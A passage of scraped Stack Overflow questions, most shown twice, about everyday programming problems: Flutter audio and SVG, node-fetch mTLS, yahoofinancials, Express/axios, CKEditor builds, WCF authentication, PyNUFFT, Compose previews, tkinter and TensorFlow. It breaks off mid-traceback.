</code>```

Body:
I have a problem with JUST AUDIO version 0.9.30 that only occurs in ANDROID VERSION e in release mode. When I launch an audio from file Just audio skips the file and gives this error:
[ERROR:flutter/runtime/dart_vm_initializer.cc(41)] Unhandled Exception: PlatformException(abort, Connection aborted, null, null)
Then move on to the next one
It also did this in debug mode but I added a simple
await Future.delayed(Duration(milliseconds: 10) and it fixed itself.
I see that LOADING is missing in this passage. There is BUFFERING, then it goes straight to READY and COMPLETE
Some suggestions.

 @override
  Future<void> playMediaItem(MediaItem mediaItem) async {

    if (isAsset) {
      if (Platform.isAndroid) {
        await Future.delayed(const Duration(milliseconds: 10));
      }
      await _player.setAsset(mediaItem.id);
    } else {
      await _player.setFilePath(mediaItem.id);
    }
    // check if alternate mode is active and set the right volume
    ref.read(audioHandlerSingelton).customAction("altMode");
    // prepare is used to send to Notification Window in the lock screen the correct data
    ref.read(audioHandlerSingelton).prepare();
  }
```

My doctor -v

 Flutter (Channel stable, 3.3.10, on macOS 12.6.1 21G217 darwin-x64, locale it-IT)
    • Flutter version 3.3.10 on channel stable at /Users/carlosacchetti/Developer/flutter
    • Upstream repository https://github.com/flutter/flutter.git
    • Framework revision 135454af32 (9 days ago), 2022-12-15 07:36:55 -0800
    • Engine revision 3316dd8728
    • Dart version 2.18.6
    • DevTools version 2.15.0

[✓] Android toolchain - develop for Android devices (Android SDK version 33.0.0)
    • Android SDK at /Users/carlosacchetti/Library/Android/sdk
    • Platform android-33, build-tools 33.0.0
    • Java binary at: /Applications/Android Studio.app/Contents/jre/Contents/Home/bin/java
    • Java version OpenJDK Runtime Environment (build 11.0.10+0-b96-7281165)
    • All Android licenses accepted.

[✓] Xcode - develop for iOS and macOS (Xcode 14.1)
    • Xcode at /Applications/Xcode.app/Contents/Developer
    • Build 14B47b
    • CocoaPods version 1.11.2

[✓] Chrome - develop for the web
    • Chrome at /Applications/Google Chrome.app/Contents/MacOS/Google Chrome

[✓] Android Studio (version 2020.3)
    • Android Studio at /Applications/Android Studio.app/Contents
    • Flutter plugin can be installed from:
       https://plugins.jetbrains.com/plugin/9212-flutter
    • Dart plugin can be installed from:
       https://plugins.jetbrains.com/plugin/6351-dart
    • Java version OpenJDK Runtime Environment (build 11.0.10+0-b96-7281165)

[✓] IntelliJ IDEA Community Edition (version 2021.1.1)
    • IntelliJ at /Applications/IntelliJ IDEA CE.app
    • Flutter plugin can be installed from:
       https://plugins.jetbrains.com/plugin/9212-flutter
    • Dart plugin can be installed from:
       https://plugins.jetbrains.com/plugin/6351-dart

[✓] VS Code (version 1.74.2)
    • VS Code at /Applications/Visual Studio Code.app/Contents
    • Flutter extension version 3.56.0

[✓] Connected device (3 available)
    • SM G780G (mobile) • RF8T30H0K2Y • android-arm64  • Android 13 (API 33)
    • macOS (desktop)   • macos       • darwin-x64     • macOS 12.6.1 21G217 darwin-x64
    • Chrome (web)      • chrome      • web-javascript • Google Chrome 108.0.5359.124

[✓] HTTP Host Availability
    • All required HTTP hosts are available

• No issues found!

Translated with www.DeepL.com/Translator (free version)


问:
How to make requests to MTLS protected endpoint after starting WebdriverIO tests?
I need to make a call to MTLS protected endpoint in onPrepare hook of WebdriverIO. This is required to get some necessary information before starting the tests.

node-fetch is used for the request & the required cert,key are passed in the agent option of node-fetch as shown below.

```<code>const config = {
  method: 'POST',
  body: JSON.stringify({ 'test': 'test' })
  agent: new https.Agent({
    key: fs.readFileSync('keyPath'),
    cert: fs.readFileSync('certPath'),
  });
};

fetch('https://example.com', config);
  ...
</code>```

It is however returning 401 i.e., cert is not being passed to the endpoint. Please let me know where is the request intercepted and cert is dropped. Also, if such calls can be made once we start running tests (npx wdio run wdio.conf.js)

Body:
I need to make a call to MTLS protected endpoint in onPrepare hook of WebdriverIO. This is required to get some necessary information before starting the tests.

node-fetch is used for the request & the required cert,key are passed in the agent option of node-fetch as shown below.

const config = {
  method: 'POST',
  body: JSON.stringify({ 'test': 'test' })
  agent: new https.Agent({
    key: fs.readFileSync('keyPath'),
    cert: fs.readFileSync('certPath'),
  });
};

fetch('https://example.com', config);
  ...

It is however returning 401 i.e., cert is not being passed to the endpoint. Please let me know where is the request intercepted and cert is dropped. Also, if such calls can be made once we start running tests (npx wdio run wdio.conf.js)


问:
Yahoo finance doesn't show prices
I'm having problems with yahoofinancials

Some scripts stopped working

I tried to reinstall it, without success

(https://pypi.org/project/yahoofinancials/)

I suspect I screwed up a couple of days ago with conda, but I'm not sure

I created a simple program to check the problem

from yahoofinancials import YahooFinancials

ticker = "AAPL"

yahoo_financials = YahooFinancials(ticker)

print(yahoo_financials)

print(yahoo_financials.get_current_price())

output

```<code><yahoofinancials.YahooFinancials object at 0x110243ac0>
Traceback (most recent call last):
  File "[...]/debug.py", line 15, in <module>
    print(yahoo_financials.get_current_price())
  File "/usr/local/lib/python3.10/site-packages/yahoofinancials/__init__.py", line 713, in get_current_price
    return self._stock_price_data('regularMarketPrice')
  File "/usr/local/lib/python3.10/site-packages/yahoofinancials/__init__.py", line 652, in _stock_price_data
    if self.get_stock_price_data()[self.ticker] is None:
  File "/usr/local/lib/python3.10/site-packages/yahoofinancials/__init__.py", line 606, in get_stock_price_data
    return self.get_clean_data(self.get_stock_tech_data('price'), 'price')
  File "/usr/local/lib/python3.10/site-packages/yahoofinancials/__init__.py", line 494, in get_stock_tech_data
    return self.get_stock_data(tech_type=tech_type)
  File "/usr/local/lib/python3.10/site-packages/yahoofinancials/__init__.py", line 476, in get_stock_data
    dict_ent = self._create_dict_ent(self.ticker, statement_type, tech_type, report_name, hist_obj)
  File "/usr/local/lib/python3.10/site-packages/yahoofinancials/__init__.py", line 409, in _create_dict_ent
    re_data = self._scrape_data(YAHOO_URL, tech_type, statement_type)
  File "/usr/local/lib/python3.10/site-packages/yahoofinancials/__init__.py", line 169, in _scrape_data
    stores = data["context"]["dispatcher"]["stores"]["QuoteSummaryStore"][tech_type]
TypeError: string indices must be integers
</code>```

Title: Yahoo finance doesn't show prices

Body:
I'm having problems with yahoofinancials

Some scripts stopped working

I tried to reinstall it, without success

(https://pypi.org/project/yahoofinancials/)

I suspect I screwed up a couple of days ago with conda, but I'm not sure

I created a simple program to check the problem

from yahoofinancials import YahooFinancials

ticker = "AAPL"

yahoo_financials = YahooFinancials(ticker)

print(yahoo_financials)

print(yahoo_financials.get_current_price())

output

<yahoofinancials.YahooFinancials object at 0x110243ac0>
Traceback (most recent call last):
  File "[...]/debug.py", line 15, in <module>
    print(yahoo_financials.get_current_price())
  File "/usr/local/lib/python3.10/site-packages/yahoofinancials/__init__.py", line 713, in get_current_price
    return self._stock_price_data('regularMarketPrice')
  File "/usr/local/lib/python3.10/site-packages/yahoofinancials/__init__.py", line 652, in _stock_price_data
    if self.get_stock_price_data()[self.ticker] is None:
  File "/usr/local/lib/python3.10/site-packages/yahoofinancials/__init__.py", line 606, in get_stock_price_data
    return self.get_clean_data(self.get_stock_tech_data('price'), 'price')
  File "/usr/local/lib/python3.10/site-packages/yahoofinancials/__init__.py", line 494, in get_stock_tech_data
    return self.get_stock_data(tech_type=tech_type)
  File "/usr/local/lib/python3.10/site-packages/yahoofinancials/__init__.py", line 476, in get_stock_data
    dict_ent = self._create_dict_ent(self.ticker, statement_type, tech_type, report_name, hist_obj)
  File "/usr/local/lib/python3.10/site-packages/yahoofinancials/__init__.py", line 409, in _create_dict_ent
    re_data = self._scrape_data(YAHOO_URL, tech_type, statement_type)
  File "/usr/local/lib/python3.10/site-packages/yahoofinancials/__init__.py", line 169, in _scrape_data
    stores = data["context"]["dispatcher"]["stores"]["QuoteSummaryStore"][tech_type]
TypeError: string indices must be integers


问:
res.send Not Sending Data/Error To Client After Axios Post Request
I am using axios to send form data. After validating server-side however no data/error is being sent back to client.

Here's the client-side axios request:

```<code>async function postData() {
                const data = {
                    email: d.querySelector("#email").value,
                    pwd: d.querySelector("#pwd").value
                }
               await axios({
                    method: "post",
                    url: "/",
                    data: data,
                    headers: {
                        "Content-Type": "application/json"
                    }
                });
            }
postData()
    .then((response) => {
        console.log("Sent");
        console.log(response);
    })
    .catch((error) => {
        console.log("There was an error:", error);
    });
</code>```

Here's the relevant server-side code (Attention: portion commented "THIS DOESN'T WORK"):

```<code>app.post("/", (req, res) => {
    const { error, value } = schema.validate(req.body);
    if (error) {
        console.log(error);
        res.send("A server error has occured"); //THIS DOESN'T WORK
    }
    else {
        console.log(value);
        res.send("Successfully posted"); //THIS DOESN'T WORK
    }
});
</code>```

PS: I am sure this code could be better written but I am just starting out on this journey and any suggestions will be greatly appreciated.

Body:
I am using axios to send form data. After validating server-side however no data/error is being sent back to client.

Here's the client-side axios request:

async function postData() {
                const data = {
                    email: d.querySelector("#email").value,
                    pwd: d.querySelector("#pwd").value
                }
               await axios({
                    method: "post",
                    url: "/",
                    data: data,
                    headers: {
                        "Content-Type": "application/json"
                    }
                });
            }
postData()
    .then((response) => {
        console.log("Sent");
        console.log(response);
    })
    .catch((error) => {
        console.log("There was an error:", error);
    });

Here's the relevant server-side code (Attention: portion commented "THIS DOESN'T WORK"):

app.post("/", (req, res) => {
    const { error, value } = schema.validate(req.body);
    if (error) {
        console.log(error);
        res.send("A server error has occured"); //THIS DOESN'T WORK
    }
    else {
        console.log(value);
        res.send("Successfully posted"); //THIS DOESN'T WORK
    }
});

PS: I am sure this code could be better written but I am just starting out on this journey and any suggestions will be greatly appreciated.


问:
Is there no way to use SVG on html renderer? (not using canvaskit)
I want to use SVG image on html renderer, because my Flutter App needs to be run on the mobile web.

The mobile web does not support canvaskit, so I have to use html renderer.

But flutter_svg package has many errors in rendering SVG in html renderer...

Is there no way to use SVG image on html rednerer(mobile web)?

I even modified the SVG file myself, but failed because 'mask' didn't seem to work well.

Comparison image

SVG source code:

```<code><svg version="1.1" viewBox="-1200 -1200 2400 2400" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
 <mask id="c">
  <path d="m-1200-1200h2400v2400h-2400z" fill="#fff"/>
  <circle r="925"/>
  <path d="m-306-861 36-185h540l36 185"/>
  <path transform="rotate(120)" d="m-306-861 36-185h540l36 185"/>
  <path transform="rotate(240)" d="m-306-861 36-185h540l36 185"/>
 </mask>
 <g mask="url(#c)">
  <circle r="984" fill="#fff"/>
  <path id="a" d="m-359-913 36-185h646l36 185" fill="#fff"/>
  <use transform="rotate(120)" xlink:href="#a"/>
  <use transform="rotate(240)" xlink:href="#a"/>
 </g>
 <circle r="590.5" fill="none" stroke="#fff" stroke-width="119"/>
 <path id="b" d="m-40-752v455h-93.5l133.5 259 133.5-259h-93.5v-455" fill="#fff"/>
 <use transform="rotate(120)" xlink:href="#b"/>
 <use transform="rotate(240)" xlink:href="#b"/>
</svg>
</code>```

Body:
I want to use SVG image on html renderer, because my Flutter App needs to be run on the mobile web.

The mobile web does not support canvaskit, so I have to use html renderer.

But flutter_svg package has many errors in rendering SVG in html renderer...

Is there no way to use SVG image on html rednerer(mobile web)?

I even modified the SVG file myself, but failed because 'mask' didn't seem to work well.

Comparison image

SVG source code:

<svg version="1.1" viewBox="-1200 -1200 2400 2400" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
 <mask id="c">
  <path d="m-1200-1200h2400v2400h-2400z" fill="#fff"/>
  <circle r="925"/>
  <path d="m-306-861 36-185h540l36 185"/>
  <path transform="rotate(120)" d="m-306-861 36-185h540l36 185"/>
  <path transform="rotate(240)" d="m-306-861 36-185h540l36 185"/>
 </mask>
 <g mask="url(#c)">
  <circle r="984" fill="#fff"/>
  <path id="a" d="m-359-913 36-185h646l36 185" fill="#fff"/>
  <use transform="rotate(120)" xlink:href="#a"/>
  <use transform="rotate(240)" xlink:href="#a"/>
 </g>
 <circle r="590.5" fill="none" stroke="#fff" stroke-width="119"/>
 <path id="b" d="m-40-752v455h-93.5l133.5 259 133.5-259h-93.5v-455" fill="#fff"/>
 <use transform="rotate(120)" xlink:href="#b"/>
 <use transform="rotate(240)" xlink:href="#b"/>
</svg>


问:
macOS npm, works on linux: Module not found: Error: Can't resolve 'ckeditor5/build/ckeditor'
I've added a custom build of CKEditor to my ReactJS app as described in the answers to another SO question.

ReactComponent.tsx

```<code>import Editor from 'ckeditor5/build/ckeditor';
</code>```

package.json

```<code>"@ckeditor/ckeditor5-react": "^5",
"ckeditor5-custom-build": "file:ckeditor5",
</code>```

A CKEditor5 custom build created with the custom tool is in the ckeditor5 directory and I have run npm run build in the ckeditor5 directory to build ckeditor5. The build successfully completed.

However, when I run npm run serve in the root directory to start my ReactJS app (with CRA, create-react-app), I get the following error:

```<code>Compiled with problems:

ERROR in ./src/components/ReactComponent.tsx 11:0-46

Module not found: Error: Can't resolve 'ckeditor5/build/ckeditor' in '/Users/private/app/src/components'
</code>```

This app was successfully built on Linux, but I just moved it to macOS.  I ran npm update and I see that in package-lock.json, all the CKEditor-related files have been removed.  So for some reason, npm on macOS is not seeing the CKEditor5 custom build, and I don't know how to fix this.

Running npm 9.2.0 via homebrew, the latest version as of writing. Ventura on Apple Silicon.

Edit

I can get the app running by removing the line "ckeditor5-custom-build": "file:ckeditor5", from package.json and using npm link like this:

```<code>cd ckeditor5
npm link
cd ../
npm link ckeditor5-custom-build
</code>```

However, now eslint complains when I import because of extraneous dependencies.  I can turn this warning off because the app works, but to avoid setup issues in the future, I want to find a way to get the import working from the local build of ckeditor5 as I asked in the original question.

Body:
I've added a custom build of CKEditor to my ReactJS app as described in the answers to another SO question.

ReactComponent.tsx

import Editor from 'ckeditor5/build/ckeditor';

package.json

"@ckeditor/ckeditor5-react": "^5",
"ckeditor5-custom-build": "file:ckeditor5",

A CKEditor5 custom build created with the custom tool is in the ckeditor5 directory and I have run npm run build in the ckeditor5 directory to build ckeditor5. The build successfully completed.

However, when I run npm run serve in the root directory to start my ReactJS app (with CRA, create-react-app), I get the following error:

Compiled with problems:

ERROR in ./src/components/ReactComponent.tsx 11:0-46

Module not found: Error: Can't resolve 'ckeditor5/build/ckeditor' in '/Users/private/app/src/components'

This app was successfully built on Linux, but I just moved it to macOS.  I ran npm update and I see that in package-lock.json, all the CKEditor-related files have been removed.  So for some reason, npm on macOS is not seeing the CKEditor5 custom build, and I don't know how to fix this.

Running npm 9.2.0 via homebrew, the latest version as of writing. Ventura on Apple Silicon.

Edit

I can get the app running by removing the line "ckeditor5-custom-build": "file:ckeditor5", from package.json and using npm link like this:

cd ckeditor5
npm link
cd ../
npm link ckeditor5-custom-build

However, now eslint complains when I import because of extraneous dependencies.  I can turn this warning off because the app works, but to avoid setup issues in the future, I want to find a way to get the import working from the local build of ckeditor5 as I asked in the original question.


问:
How to set yellow, red display priority in vscode
Yellow and red errors are happening at the same time in vscode.

At this time, I want the red error to be displayed more forward than the yellow error.

In other words, I want to increase the priority of red errors in vscode so that red errors appear on the screen before yellow errors. Is there any way?

I'm currently using the fira font in vscode, and below is my current screen and what I want it to look like.

*screen i want

*my current screen


问:
System.ServiceModel.Security.MessageSecurityException: 'The HTTP request is not authorized with the "Anonymous"
I've got a C# app that sends data to a web server. many clients work fine.
now I've set up another client with the same config, from this client I receive this:

```<code>22:58:39 startSync ConnectionLost
System.ServiceModel.Security.MessageSecurityException: Richiesta
HTTP vietata con lo schema di autenticazione client 'Anonymous'. --
-> System.Net.WebException: Errore del server remoto: (403) Non
consentito.
in System.Net.HttpWebRequest.GetResponse()
in System.ServiceModel.Channels.HttpChannelFactory`1.HttpRequestChannel.HttpChannelRequest.WaitForReply(TimeSpan timeout)
--- Fine della traccia dello stack dell'eccezione interna ---

Server stack trace:
in System.ServiceModel.Channels.HttpChannelUtilities.ValidateAuthentication(HttpWebRequest request, HttpWebResponse response, WebException responseException, HttpChannelFactory`1 factory)
in System.ServiceModel.Channels.HttpChannelUtilities.ValidateRequestReplyResponse(HttpWebRequest request, HttpWebResponse response, HttpChannelFactory`1 factory, WebException responseException, ChannelBinding channelBinding)
in System.ServiceModel.Channels.HttpChannelFactory`1.HttpRequestChannel.HttpChannelRequest.WaitForReply(TimeSpan timeout)
in System.ServiceModel.Channels.RequestChannel.Request(Message message, TimeSpan timeout)
in System.ServiceModel.Dispatcher.RequestChannelBinder.Request(Message message, TimeSpan timeout)
in System.ServiceModel.Channels.ServiceChannel.Call(String action, Boolean oneway, ProxyOperationRuntime operation, Object[] ins, Object[] outs, TimeSpan timeout)
in System.ServiceModel.Channels.ServiceChannelProxy.InvokeService(IMethodCallMessage methodCall, ProxyOperationRuntime operation)
in System.ServiceModel.Channels.ServiceChannelProxy.Invoke(IMessage message)
</code>```

I've changed only the sim on the router (client side), internet work fine.

I don't know what happens. I think the problem is on the client's side.

edit:

this si the webconfig on the server side:

```<code> <?xml version="1.0"?>

    <configuration>
        <system.web>
        <customErrors mode="Off"/>
          <compilation targetFramework="4.5" />
          <httpRuntime targetFramework="4.5" />
        </system.web>
      <connectionStrings>
        <add name="ALSEntities" connectionString="metadata=res://*/ALSModel.csdl|res://*/ALSModel.ssdl|res://*/ALSModel.msl;provider=System.Data.SqlClient;provider connection string="data source=(local);initial catalog=ALS;user id=user;Password=aaaaaa;MultipleActiveResultSets=True;App=EntityFramework"" providerName="System.Data.EntityClient" />
      </connectionStrings>
      <appSettings>
        <add key="SetupPassword" value="password" />
        <add key="LogFolder" value="Logs" />
        <add key="FederazioneGlobale" value = "da15b962-0170-4dfa-b684-5e7c698a5fea" />
      </appSettings>
      <system.serviceModel>
        <bindings>
          <basicHttpBinding>
            <binding name="ALBasicHttpBinding" closeTimeout="00:01:00" receiveTimeout="00:01:00"
              sendTimeout="00:01:00" maxBufferPoolSize="2147483647" maxBufferSize="2147483647"
              maxReceivedMessageSize="2147483647" transferMode="Buffered" messageEncoding="Text">
              <readerQuotas maxDepth="2147483647" maxStringContentLength="2147483647"
                maxArrayLength="2147483647" maxBytesPerRead="2147483647" maxNameTableCharCount="2147483647" />
                          <security mode="Transport">
                <transport clientCredentialType="None"/>
              </security>
            </binding>
          </basicHttpBinding>
        </bindings>
        <services>
          <service name="AL.WebServer.ALClients">
            <endpoint address="" binding="basicHttpBinding" bindingConfiguration="ALBasicHttpBinding" contract="AL.WebServer.IALClients" />
            <endpoint address="mex" binding="mexHttpsBinding" contract="IMetadataExchange" />
          </service>
        </services>
        <behaviors>
          <serviceBehaviors>
            <behavior name="">
              <serviceMetadata httpGetEnabled="true" httpsGetEnabled="true" />
              <serviceDebug includeExceptionDetailInFaults="true" />
            </behavior>
          </serviceBehaviors>
        </behaviors>
        <serviceHostingEnvironment aspNetCompatibilityEnabled="false" multipleSiteBindingsEnabled="true" />
      </system.serviceModel>
    </configuration>
</code>```

the config on the client side is the same then other.

on the iis:

there is only anonymous

Body:
I've got a C# app that sends data to a web server. many clients work fine.
now I've set up another client with the same config, from this client I receive this:

22:58:39 startSync ConnectionLost
System.ServiceModel.Security.MessageSecurityException: Richiesta
HTTP vietata con lo schema di autenticazione client 'Anonymous'. --
-> System.Net.WebException: Errore del server remoto: (403) Non
consentito.
in System.Net.HttpWebRequest.GetResponse()
in System.ServiceModel.Channels.HttpChannelFactory`1.HttpRequestChannel.HttpChannelRequest.WaitForReply(TimeSpan timeout)
--- Fine della traccia dello stack dell'eccezione interna ---

Server stack trace:
in System.ServiceModel.Channels.HttpChannelUtilities.ValidateAuthentication(HttpWebRequest request, HttpWebResponse response, WebException responseException, HttpChannelFactory`1 factory)
in System.ServiceModel.Channels.HttpChannelUtilities.ValidateRequestReplyResponse(HttpWebRequest request, HttpWebResponse response, HttpChannelFactory`1 factory, WebException responseException, ChannelBinding channelBinding)
in System.ServiceModel.Channels.HttpChannelFactory`1.HttpRequestChannel.HttpChannelRequest.WaitForReply(TimeSpan timeout)
in System.ServiceModel.Channels.RequestChannel.Request(Message message, TimeSpan timeout)
in System.ServiceModel.Dispatcher.RequestChannelBinder.Request(Message message, TimeSpan timeout)
in System.ServiceModel.Channels.ServiceChannel.Call(String action, Boolean oneway, ProxyOperationRuntime operation, Object[] ins, Object[] outs, TimeSpan timeout)
in System.ServiceModel.Channels.ServiceChannelProxy.InvokeService(IMethodCallMessage methodCall, ProxyOperationRuntime operation)
in System.ServiceModel.Channels.ServiceChannelProxy.Invoke(IMessage message)

I've changed only the sim on the router (client side), internet work fine.

I don't know what happens. I think the problem is on the client's side.

edit:

this si the webconfig on the server side:

 <?xml version="1.0"?>

    <configuration>
        <system.web>
        <customErrors mode="Off"/>
          <compilation targetFramework="4.5" />
          <httpRuntime targetFramework="4.5" />
        </system.web>
      <connectionStrings>
        <add name="ALSEntities" connectionString="metadata=res://*/ALSModel.csdl|res://*/ALSModel.ssdl|res://*/ALSModel.msl;provider=System.Data.SqlClient;provider connection string="data source=(local);initial catalog=ALS;user id=user;Password=aaaaaa;MultipleActiveResultSets=True;App=EntityFramework"" providerName="System.Data.EntityClient" />
      </connectionStrings>
      <appSettings>
        <add key="SetupPassword" value="password" />
        <add key="LogFolder" value="Logs" />
        <add key="FederazioneGlobale" value = "da15b962-0170-4dfa-b684-5e7c698a5fea" />
      </appSettings>
      <system.serviceModel>
        <bindings>
          <basicHttpBinding>
            <binding name="ALBasicHttpBinding" closeTimeout="00:01:00" receiveTimeout="00:01:00"
              sendTimeout="00:01:00" maxBufferPoolSize="2147483647" maxBufferSize="2147483647"
              maxReceivedMessageSize="2147483647" transferMode="Buffered" messageEncoding="Text">
              <readerQuotas maxDepth="2147483647" maxStringContentLength="2147483647"
                maxArrayLength="2147483647" maxBytesPerRead="2147483647" maxNameTableCharCount="2147483647" />
                          <security mode="Transport">
                <transport clientCredentialType="None"/>
              </security>
            </binding>
          </basicHttpBinding>
        </bindings>
        <services>
          <service name="AL.WebServer.ALClients">
            <endpoint address="" binding="basicHttpBinding" bindingConfiguration="ALBasicHttpBinding" contract="AL.WebServer.IALClients" />
            <endpoint address="mex" binding="mexHttpsBinding" contract="IMetadataExchange" />
          </service>
        </services>
        <behaviors>
          <serviceBehaviors>
            <behavior name="">
              <serviceMetadata httpGetEnabled="true" httpsGetEnabled="true" />
              <serviceDebug includeExceptionDetailInFaults="true" />
            </behavior>
          </serviceBehaviors>
        </behaviors>
        <serviceHostingEnvironment aspNetCompatibilityEnabled="false" multipleSiteBindingsEnabled="true" />
      </system.serviceModel>
    </configuration>

the config on the client side is the same then other.

on the iis:

there is only anonymous


问:
PyNUFFT. Function defined over regular grid?
I want to perform the 3D NonUniformFFT of a scalar field defined over the points of a crystal with complex geometry and I found PyNUFFT.

Now I don't understand the process (1D). They define a set of M non-unif. distributed (x-) points om which shall be fourier transformed. On the other side its N_d (y-) time-series values are uniformly distributed and there is a different amount.

Does this mean I always need this kind of extrapolated description of the y(x) function I want to transform, defined over a regular grid? In my problem of the crystal I only have my x/om positions with their respective function value y(x).

Also this om values in the example barely range from [-3,3], so I dont get quite how it is able to describe the time-series properly.

Any tips are welcome!

Nothing to try, I have problem understanding the concept.


问:
Kotlin Compose Preview reference unresolved
I am working on a Kotlin Multiplatform project for Android and Desktop using Compose and have the Compose Multiplatform IDE Support plugin installed.

What I am trying to do is add the @Preview annotation so I can get a preview of the composables that I'm working on. I tried following this guide to implement that:

https://developer.android.com/jetpack/compose/tooling/studio

I want to have my shared Compose classes in the module shared-ui, so I added the following dependencies to the build.gradle.kts in that module:

```<code>dependencies {
    debugImplementation("androidx.compose.ui:ui-tooling:1.3.2")
    implementation("androidx.compose.ui:ui-tooling-preview:1.3.2")
}
</code>```

However, even after a synchronization, when I try to use or import the @Preview annotation in my class (shared-ui/src/commonMain/kotlin/.../MyScreen.kt), I get this error:

```<code>Unresolved reference: preview
</code>```

That happens twice: Once in the import statement, where the final word Preview is in red, and once in the annotation, where it is also the word Preview that is in red:

```<code>[...]
import androidx.compose.ui.tooling.preview.Preview
[...]

@Preview
@Composable
[...]
</code>```

Incidentally, I also tried the quick fix option that Android Studio offered me there: "Add dependency on androidx.compose.ui.ui-tooling-preview and import". What that does is add the dependencies exactly where I added them (provided I remove them first, otherwise it does nothing), which apparently means that Android Studio agrees with me that this is where the dependencies should go.

Which brings me to my ultimate question: Why does this not work? What am I doing wrong? Based on my understanding, this should work. But it doesn't. Am I missing something?

Body:
I am working on a Kotlin Multiplatform project for Android and Desktop using Compose and have the Compose Multiplatform IDE Support plugin installed.

What I am trying to do is add the @Preview annotation so I can get a preview of the composables that I'm working on. I tried following this guide to implement that:

https://developer.android.com/jetpack/compose/tooling/studio

I want to have my shared Compose classes in the module shared-ui, so I added the following dependencies to the build.gradle.kts in that module:

dependencies {
    debugImplementation("androidx.compose.ui:ui-tooling:1.3.2")
    implementation("androidx.compose.ui:ui-tooling-preview:1.3.2")
}

However, even after a synchronization, when I try to use or import the @Preview annotation in my class (shared-ui/src/commonMain/kotlin/.../MyScreen.kt), I get this error:

Unresolved reference: preview

That happens twice: Once in the import statement, where the final word Preview is in red, and once in the annotation, where it is also the word Preview that is in red:

[...]
import androidx.compose.ui.tooling.preview.Preview
[...]

@Preview
@Composable
[...]

Incidentally, I also tried the quick fix option that Android Studio offered me there: "Add dependency on androidx.compose.ui.ui-tooling-preview and import". What that does is add the dependencies exactly where I added them (provided I remove them first, otherwise it does nothing), which apparently means that Android Studio agrees with me that this is where the dependencies should go.

Which brings me to my ultimate question: Why does this not work? What am I doing wrong? Based on my understanding, this should work. But it doesn't. Am I missing something?


问:
Displaying image in a button using tkinter in Python is not working as intended
I am trying to implement a window using tkinter which should allow to navigate to another pages on clicking buttons. I want to add images to the button as relevant to the functionality of the navigating page. However, the image is not getting displayed but can see a borer of the image. The button functionality also not working.

Note: Trying this out for learning and copied code from below source

https://pythonprogramming.net/change-show-new-frame-tkinter/

```<code>import tkinter as tk
from tkinter import ttk
from tkinter import *

class main_window(tk.Tk):

    def __init__(self, *args, **kwargs):

        tk.Tk.__init__(self, *args, **kwargs)
        self.title("HMS")
        container = tk.Frame(self)
        container.pack(side="top", fill="both", expand = True)
        container.grid_rowconfigure(0, weight=1)
        container.grid_columnconfigure(0, weight=1)

        self.frames = {}

        for F in (landing_page, patient_page):

            frame = F(container, self)

            self.frames[F] = frame

            frame.grid(row=0, column=0, sticky="nsew")

        self.show_frame(landing_page)

    def show_frame(self, cont):
        frame = self.frames[cont]
        frame.tkraise()

class landing_page(tk.Frame):

    def __init__(self, parent, controller):
        tk.Frame.__init__(self,parent)
        label = tk.Label(self, text="Hospital Management")
        label.pack(pady=10,padx=10)
        patient_icon = PhotoImage(file= './patient_navigate.png')

        button = tk.Button(self,
                            text="Patient Page",
                            image = patient_icon,
                            command=lambda: controller.show_frame(patient_page))
        button.pack()

class patient_page(tk.Frame):

    def __init__(self, parent, controller):
        tk.Frame.__init__(self, parent)
        label = tk.Label(self, text="`Patient Page")
        label.pack(pady=10,padx=10)

        button1 = tk.Button(self, text="Back to Home",
                            command=lambda: controller.show_frame(landing_page))
        button1.pack()

app = main_window()
app.mainloop()

</code>```

Body:
I am trying to implement a window using tkinter which should allow to navigate to another pages on clicking buttons. I want to add images to the button as relevant to the functionality of the navigating page. However, the image is not getting displayed but can see a borer of the image. The button functionality also not working.

Note: Trying this out for learning and copied code from below source

https://pythonprogramming.net/change-show-new-frame-tkinter/

import tkinter as tk
from tkinter import ttk
from tkinter import *

class main_window(tk.Tk):

    def __init__(self, *args, **kwargs):

        tk.Tk.__init__(self, *args, **kwargs)
        self.title("HMS")
        container = tk.Frame(self)
        container.pack(side="top", fill="both", expand = True)
        container.grid_rowconfigure(0, weight=1)
        container.grid_columnconfigure(0, weight=1)

        self.frames = {}

        for F in (landing_page, patient_page):

            frame = F(container, self)

            self.frames[F] = frame

            frame.grid(row=0, column=0, sticky="nsew")

        self.show_frame(landing_page)

    def show_frame(self, cont):
        frame = self.frames[cont]
        frame.tkraise()

class landing_page(tk.Frame):

    def __init__(self, parent, controller):
        tk.Frame.__init__(self,parent)
        label = tk.Label(self, text="Hospital Management")
        label.pack(pady=10,padx=10)
        patient_icon = PhotoImage(file= './patient_navigate.png')

        button = tk.Button(self,
                            text="Patient Page",
                            image = patient_icon,
                            command=lambda: controller.show_frame(patient_page))
        button.pack()

class patient_page(tk.Frame):

    def __init__(self, parent, controller):
        tk.Frame.__init__(self, parent)
        label = tk.Label(self, text="`Patient Page")
        label.pack(pady=10,padx=10)

        button1 = tk.Button(self, text="Back to Home",
                            command=lambda: controller.show_frame(landing_page))
        button1.pack()

app = main_window()
app.mainloop()


问:
Running a tensorflow model from nodeJs on M1 Mac
I'm trying to run bumble's private detector model from my nodejs script, on M1 Mac. I installed all dependencies using pip3(tensorflow-macos), and i'm able to run the script from command line(python3 inference.py --model saved_model/  --image_paths img.jpg), but when I tried to run the same from nodeJs code, I'm getting the below error

```<code>Traceback (most recent call last):
  File "/Users/mahendrahegde/Projects/svc/helpers/lewd-detector/inference.py", line 6, in <module>
    import tensorflow as tf
  File "/Users/mahendrahegde/Library/Python/3.8/lib/python/site-packages/tensorflow/__init__.py", line 37, in <module>
    from tensorflow.python.tools import module_util as _module_util
  File "/Users/mahendrahegde/Library/Python/3.8/lib/python/site-packages/tensorflow/python/__init__.py", line 36, in <module>
    from tensorflow.python import pywrap_tensorflow as _pywrap_tensorflow
  File "/Users/mahendrahegde/Library/Python/3.8/lib/python/site-packages/tensorflow/python/pywrap_tensorflow.py", line 26, in <module>
    self_check.preload_check()
  File "/Users/mahendrahegde/Library/Python/3.8/lib/python/site-packages/tensorflow/python/platform/self_check.py", line 63, in preload_check
    from tensorflow.python.platform import _pywrap_cpu_feature_guard
